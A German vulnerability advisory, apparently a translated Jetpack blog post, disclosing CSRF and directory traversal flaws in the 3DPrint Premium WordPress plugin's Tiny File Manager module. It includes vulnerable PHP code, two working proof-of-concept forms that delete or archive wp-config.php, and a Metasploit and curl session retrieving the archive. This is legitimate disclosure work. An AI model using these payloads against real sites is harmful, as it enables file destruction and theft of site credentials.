Schwachstellen im 3DPrint Premium Plugin gefunden

Veröffentlicht: 2022-12-13

Die Premium-Version des WordPress-Plugins 3DPrint ist anfällig für Cross Site Request Forgery (CSRF) und Directory Traversal-Angriffe, wenn die Dateimanager-Funktionalität aktiviert ist. Diese Schwachstellen ermöglichen es einem Angreifer, beliebige Dateien und Verzeichnisse auf den betroffenen Websites zu löschen oder sich Zugriff darauf zu verschaffen, einschließlich sensibler Dateien wie der Konfigurationsdateien der Website, was wiederum zu einer vollständigen Übernahme der Website führen könnte.

Als wir kürzlich einige potenzielle Fehlalarme durchsuchten, die von unseren experimentellen Signaturen gekennzeichnet wurden, entdeckten wir einen Code, der uns im 3DPrint-Premium-Plug-in verwirrte.

require_once("../../../../../../wp-load.php");
if ( !current_user_can('administrator') ) exit;
$p3d_settings = get_option( 'p3d_settings' );

global $wpdb;

set_time_limit(0);
ini_set( 'memory_limit', '-1' );

Dieses Snippet wurde im Tiny File Manager-PHP-Modul gefunden, das sich im Include-Verzeichnis des Plugins befindet, aber nicht im ursprünglichen Tiny File Manager-Projekt. Es scheint mit der Absicht injiziert zu werden, es in die rollenbasierten Zugriffskontrollen von WordPress zu integrieren.

Das Laden solcher WordPress-Codedateien in ein nicht verwandtes Modul ist normalerweise ein Zeichen dafür, dass etwas nicht stimmt, also haben wir uns entschieden, weiter nachzuforschen.

Dem aufmerksamen Leser wird auffallen, dass der Zugriff auf das Modul auf Benutzer mit der Administratorrolle beschränkt ist, es jedoch keine Nonce-Prüfungen gibt. Das wäre in Ordnung, wenn Tiny File Manager einen eigenen CSRF-Schutz hätte, aber da dies nicht der Fall war, sieht es so aus, als wäre dieser Code anfällig für einen CSRF-Angriff. (Tiny File Manager hat seitdem CSRF-Schutz hinzugefügt, nachdem wir sie auf das Problem aufmerksam gemacht haben. Version 2.5.0 und höher sollte viel sicherer zu verwenden sein!)

Erschwerend kommt hinzu, dass Tiny File Manager bei der Installation von 3DPrint Premium nicht im Paket enthalten ist, sondern bei Aktivierung bei Bedarf heruntergeladen wird. Die zum Zeitpunkt des Schreibens heruntergeladene Version ist Version 2.4.4, wurde jedoch von den 3DPrint-Entwicklern stark modifiziert und wird von ihrer Domäne heruntergeladen, nicht direkt von den Tiny File Manager-Repositories.

Die meisten der vorgenommenen Änderungen entfernen Funktionen, die nicht vom Plugin verwendet werden, sowie einige andere Änderungen, wie z. Darüber hinaus wurden die in Tiny File Manager integrierten Authentifizierungs- und Autorisierungsfunktionen deaktiviert und durch die obige Integration mit dem WordPress-Rollensystem ersetzt.

Wir haben einige Sicherheitslücken entdeckt, bei denen die Kombination aus modifizierter Zugriffskontrolle und Einbeziehung des Tiny File Managers in das 3DPrint-Plug-in für einen externen Angreifer ausnutzbar wird. Dazu gehört das Löschen oder Herunterladen vertraulicher Dateien, was möglicherweise eine vollständige Übernahme der Website ermöglicht. Diese Sicherheitslücken nutzen das Fehlen von Nonce-Prüfungen in den modifizierten Zugriffskontrollen sowie Sicherheitslücken beim Durchlaufen von Verzeichnissen in Tiny File Manager selbst aus.

Wir haben versucht, den Anbieter sowohl des 3DPrint-Plugins als auch des Tiny File Manager-Projekts zu kontaktieren. Von diesen haben uns nur die Entwickler des Tiny File Manager-Projekts geantwortet und die von uns gemeldeten Probleme behoben.

Sehen Sie sich unsere neue WAF als Teil von Jetpack Scan an, die sofort einsatzbereit vor diesen Angriffen schützt. Es ist derzeit in der Beta-Phase. Jetpack Scan erkennt auch die anfällige Komponente und hilft beim Entfernen.

Da das Tiny File Manager-Modul bei Bedarf heruntergeladen und installiert wird, besteht nicht unbedingt eine Übereinstimmung zwischen der Plugin-Version und der verwendeten Version von Tiny File Manager. Nach der Installation scheint es jedoch keine einfache Möglichkeit zu geben, das Tiny File Manager-Modul zu aktualisieren, außer es manuell zu löschen und erneut zu aktivieren.

Aus diesem Grund betrachten wir alle Versionen von 3DPrint als anfällig für die folgenden Sicherheitslücken, wenn der Dateimanager aktiviert wurde.

Die Schwachstellen

1. CSRF führt zum willkürlichen Löschen von Dateien/Verzeichnissen

  • Plugin: 3DPrint
  • Plugin-Slug: 3dprint
  • Plugin-URI: http://www.wp3dprinting.com/2015/07/29/changelog/
  • Anfällige Versionen: alle
  • Feste Version: keine
  • CVSS-Wert: 8,2 (Hoch, CVSS:3,1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L)
  • CVE: CVE-2022-3899

Die Massenlöschfunktion in der mitgelieferten Version von Tiny File Manager (Version 2.4.4) ist nicht richtig gegen Directory Traversal geschützt und es fehlt auch der CSRF-Schutz. Auf diese Weise kann ein Angreifer einen Administrator dazu bringen, mehrere Dateien oder sogar Verzeichnisse auf dem Server rekursiv zu löschen.

// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
//        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg('Selected files and folder deleted');
        } else {
            fm_set_msg('Error while deleting items', 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

Dies kann ausgenutzt werden, indem den POST-Parametern group und delete ein beliebiger Wert übergeben wird und ein Array von zu löschenden Dateien/Verzeichnissen im file Parameter übergeben wird. Die Variable $new_path ist eine einfache Verkettung des FM_ROOT_PATH und des übergebenen Dateinamens, der an die rekursive Löschfunktion fm_rdelete() übergeben wird. Da fm_rdelete() keine Validierung der angegebenen Pfadnamen durchführt, macht dies diesen Code anfällig für einen Directory-Traversal-Angriff.

Hier ist ein Beispiel-Proof-of-Concept:

<form action="https://example.com/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="delete" value="1">
    <input type="hidden" name="file[1]" value="../2020">
    <input type="hidden" name="file[2]" value="../../../wp-config.php">
    <input type="submit" value="Get rich!">
</form>

Alle Pfade sind relativ zum Verzeichnis wp-content/uploads/p3d/ auf dem Server. Wenn ein angemeldeter Administrator auf die Schaltfläche klickt, um reich zu werden, werden seine Uploads aus dem Jahr 2020 zusammen mit der wp-config.php -Datei der Website gelöscht.

2. CSRF führt zu willkürlichen Downloads

  • Plugin: 3DPrint
  • Plugin-Slug: 3dprint
  • Plugin-URI: http://www.wp3dprinting.com/2015/07/29/changelog/
  • Anfällige Versionen: alle
  • Feste Version: keine
  • CVSS-Wert: 7,4 (Hoch, CVSS:3,1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
  • CVE: CVE-2022-4023

Die Funktionalität in der mitgelieferten Version von Tiny File Manager (Version 2.4.4) zum Herunterladen eines ZIP- oder TAR-Archivs ausgewählter Dateien ist nicht gegen Directory Traversal geschützt und hat keinen CSRF-Schutz. Auf diese Weise kann ein Angreifer einen Administrator dazu verleiten, ein Zip- oder Tar-Archiv mit beliebigen Dateien und Verzeichnissen von der Site zu erstellen, einschließlich Konfigurationsdateien oder anderen sensiblen Inhalten.

Das Archiv wird im normalen 3DPring-Upload-Verzeichnis abgelegt, wp-content/uploads/p3d/ . Der Dateiname ist vom Angreifer nur teilweise kontrollierbar, aber so vorhersehbar, dass er relativ einfach durch Brute Force erzwungen werden sollte. Wenn sie wissen, wann die gefälschte Anfrage gesendet wurde, sollte es auch trivial sein, eine fundierte Vermutung anzustellen.

// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
//        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';
    $files = $_POST['file'];
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

Durch das Senden einer Post-Anfrage an die group und entweder die zip oder tar Variablen auf einen beliebigen Wert gesetzt, wird ein Archiv mit den im file Parameter angegebenen Dateien erstellt. Das aktuelle Datum und die aktuelle Uhrzeit werden an den Dateinamen für das Archiv angehängt, das den gleichen Basisnamen wie die archivierte Datei oder „Archiv“ hat, wenn mehrere Dateien zusammen archiviert werden. Das Archiv wird im 3DPrint-Upload-Verzeichnis erstellt, aber die Pfadnamen der Dateien werden nicht bereinigt und können Pfade außerhalb dieses Verzeichnisses enthalten, was es anfällig für Directory-Traversal-Angriffe macht.

Um diese Schwachstelle auszunutzen, haben wir ein einfaches Payload-Modul für Metasploit erstellt, das als selbstübertragendes Formular mit der bösartigen Payload an die anfällige Site dient. Die gesendete Proof-of-Concept-Nutzlast war:

<!DOCTYPE html>
<html>
  <body>
    <form action="https://3dprint-test.ddev.site/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
      <input type="hidden" name="group" value="1">
      <input type="hidden" name="zip" value="1">
      <input type="hidden" name="file[1]" value="../2022">
      <input type="hidden" name="file[2]" value="../../../wp-config.php">
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>

Da das Metasploit-Modul den Zeitstempel des Absendens des Formulars aufzeichnete, war es einfach, den richtigen Dateinamen für das erstellte Archiv zu erraten.

% msfconsole                                                                                
                                                  
msf6 > use payload/html/html_reverse_http
msf6 payload(html/html_reverse_http) > set LHOST localhost
LHOST => localhost
msf6 payload(html/html_reverse_http) > set LURI /
LURI => /
msf6 payload(html/html_reverse_http) > set PAYLOADFILE ../poc/poc-csrf-archive.html
PAYLOADFILE => ../poc/poc-csrf-archive.html
msf6 payload(html/html_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
[*] Started HTTP reverse handler on http://[::1]:8080/
[*] http://localhost:8080/ handling request from ::1; (UUID: rhexpfwi) Request processed at 2022-12-10T11:06:49+01:00

msf6 payload(html/html_reverse_http) > exit

% curl -I 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
HTTP/2 200 
server: nginx/1.20.1
date: Sat, 10 Dec 2022 10:07:35 GMT
content-type: application/zip
content-length: 87225
last-modified: Sat, 10 Dec 2022 10:06:49 GMT
etag: "63945a39-154b9"
accept-ranges: bytes


% curl -O 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 87225  100 87225    0     0  2322k      0 --:--:-- --:--:-- --:--:-- 2366k

% unzip -v archive_221210_100649.zip 
Archive:  archive_221210_100649.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
       0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/
       0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/12/
   85888  Defl:X    85655   0% 2022-12-10 10:05 724f1f67  ../2022/12/funny-cat.jpg
    1955  Defl:X     1114  43% 2022-11-01 23:25 96f2088a  ../../../wp-config.php
--------          -------  ---                            -------
   87843            86769   1%                            4 files

Beachten Sie, wie wir den Dateinamen des generierten Archivs aus dem Zeitstempel der Anfrage ableiten können. In diesem Fall läuft der Servercontainer eine Zeitzone hinter der lokalen Zeitzone.

Empfehlungen

Da die Version des installierten Dateimanagers unabhängig von der Version des installierten Plugins ist, können wir keine feste Version des Plugins empfehlen.

Wir haben auch keine einfache Möglichkeit gefunden, das Dateimanager-Modul zu aktualisieren, wenn zu einem späteren Zeitpunkt eine neue Version veröffentlicht wird.

Aus diesem Grund betrachten wir alle Versionen des 3DPrint-Premium-Plugins als angreifbar, wenn die Dateimanager-Komponente aktiviert ist.

Wir empfehlen, sicherzustellen, dass das Dateimanagermodul deaktiviert ist und dass die Datei von der Website entfernt wird.

Am einfachsten ist es, die Datei wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php zu löschen, falls vorhanden.

Schlussfolgerungen

Alle Versionen des 3DPrint-Premium-Plugins sind anfällig für CSRF- und Directory-Traversal-Angriffe, wenn das Dateimanagermodul auf der Website aktiviert ist. Dies betrifft nicht die kostenlose Version des Plug-ins, die aus dem Plug-in-Repository von WordPress.org heruntergeladen wurde.

Bei Jetpack arbeiten wir hart daran sicherzustellen, dass Ihre Websites vor dieser Art von Schwachstellen geschützt sind. Wir empfehlen, dass Sie einen Sicherheitsplan für Ihre Website haben, der das Scannen von bösartigen Dateien und Sicherungen umfasst. Das Jetpack-Sicherheitspaket ist eine großartige WordPress-Sicherheitsoption, um sicherzustellen, dass Ihre Website und Ihre Besucher sicher sind. Dieses Produkt umfasst Echtzeit-Malware-Scanning, Website-Backups, Kommentar- und Formular-Spamschutz von Akismet, Schutz vor Brute-Force-Angriffen und mehr.

Kredite

Recherche von Harald Eilertsen, mit Feedback und Korrekturen von Benedict Singer, Rob Pugh, Jen Swisher und dem Jetpack Scan-Team.

Zeitleiste

  • 08.09.2022: Wir wurden auf den Fund aufmerksam gemacht und begannen mit der Untersuchung
  • 25.10.2022: Anbieter zum ersten Mal kontaktiert
  • 01.11.2022: Anbieter zum zweiten Mal über einen anderen Kanal kontaktiert
  • 08.11.2022: Massenlöschungs-Schwachstelle offengelegt (CVE-2022-3899)
  • 15.11.2022: Entwickler von Tiny File Manager wegen fehlendem CSRF-Schutz und Directory Traversal-Schwachstellen kontaktiert.
  • 19.11.2022: Tiny File Manager 2.5.0 veröffentlicht, behebt CSRF-Probleme, aber nicht die Verzeichnis-Traversal-Probleme.
  • 13.12.2022: Offenlegung